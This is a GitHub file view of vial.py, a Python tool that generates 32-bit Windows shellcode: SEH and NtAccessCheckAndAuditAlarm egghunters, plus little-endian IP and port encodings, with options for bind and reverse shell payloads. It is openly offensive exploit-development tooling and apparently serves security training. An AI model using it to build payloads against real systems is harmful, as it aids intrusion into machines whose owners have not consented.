-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathvial.py
130 lines (109 loc) · 3.74 KB
/
vial.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
#!/usr/bin/python
import argparse
import os
import sys
from keystone import *
from rich.console import Console
from lib.core import Payload
from lib.core import Util
console = Console()
BANNER = '''[green1]
Y88b / 888 e 888
Y88b / 888 d8b 888 ViAL ---
Y88b / 888 /Y88b 888 venomous injected assembly library
Y888/ 888 / Y88b 888
Y8/ 888 /____Y88b 888
Y 888 / Y88b 888____
[/green1]'''
def print_encoded_ipv4_addr(ip_addr):
print("\n🧪 Encoding IPv4 address: %s" % ip_addr)
print("🧪 Result: 0x%s" % Util.ipv4_addr_to_hex(ip_addr))
def print_encoded_port(port_no):
print("\n🧪 Encoding port: %s" % port_no)
print("🧪 Result: 0x%s" % Util.port_to_hex(port_no))
def print_shellcode(code):
ks = Ks(KS_ARCH_X86, KS_MODE_32)
encoding, count = ks.asm(code)
console.print("[INFO] Encoded %d instructions..." % count)
shellcode = ""
for dec in encoding:
shellcode += "\\x{0:02x}".format(int(dec)).rstrip("\n")
console.print(f"[INFO] Generated shellcode ({len(encoding)} bytes):"
"\nbuf = (\"" + shellcode + "\")")
def main(args):
console.print(BANNER)
if args.encode_port:
port_no = args.encode_port
print_encoded_port(port_no)
sys.exit(os.EX_OK) # the port encoding option is exclusive
if args.encode_ip:
ip_addr = args.encode_ip
print_encoded_ipv4_addr(ip_addr)
sys.exit(os.EX_OK) # the IP encoding option is exclusive
if args.egghunter:
tag = args.tag
op = args.egghunter[0]
if len(tag) != 4:
tag = Payload.DEFAULT_TAG
console.print('[yellow][WARN][/yellow] Tag must be four (4) characters!')
console.print(f"[INFO] Using default tag {tag}")
console.print(f"[INFO] Generating {op} egghunter with tag {Util.tag_to_hex(tag)} ({tag})")
if (op.lower() == 'seh'):
tag = Util.tag_to_hex(tag)
print_shellcode(Payload.generate_egghunter_seh(tag))
elif (op.lower() == 'ntaccess'):
tag = Util.tag_to_hex(tag)
print_shellcode(Payload.generate_egghunter_ntaccess(tag))
else:
console.print(f"[WARN] No matching egghunter found for '{op}'!")
if __name__ == '__main__':
parser = argparse.ArgumentParser(
description = 'creates a 32-bit Windows assembly payload'
)
exclusive_group = parser.add_mutually_exclusive_group()
exclusive_group.add_argument(
'--egghunter',
help = 'generate a 32-bit Windows SEH or NtAccessCheckAndAuditAlarm egghunter',
action = 'store',
type = str,
nargs = 1,
choices = ['seh', 'ntaccess']
)
parser.add_argument(
'--payload',
help = 'generate a 32-bit Windows bind or reverse shell payload',
action = 'store',
type = str,
nargs = 1,
choices = ['bind', 'reverse']
)
exclusive_group.add_argument(
'--list',
help = 'list available payloads',
action = 'store_true',
)
parser.add_argument(
'--tag',
help = f"specify egghunter tag to use (default: {Payload.DEFAULT_TAG})",
action = 'store',
type = str,
default = Payload.DEFAULT_TAG
)
parser.add_argument(
'--encode-ip',
help = f"hex encode (little-endian) an IPv4 address",
action = 'store',
type = str,
)
parser.add_argument(
'--encode-port',
help = f"hex encode (little-endian) a port number",
action = 'store',
type = str,
)
if len(sys.argv) > 1:
args = parser.parse_args()
main(args)
else:
parser.print_help()
sys.exit(os.EX_OK)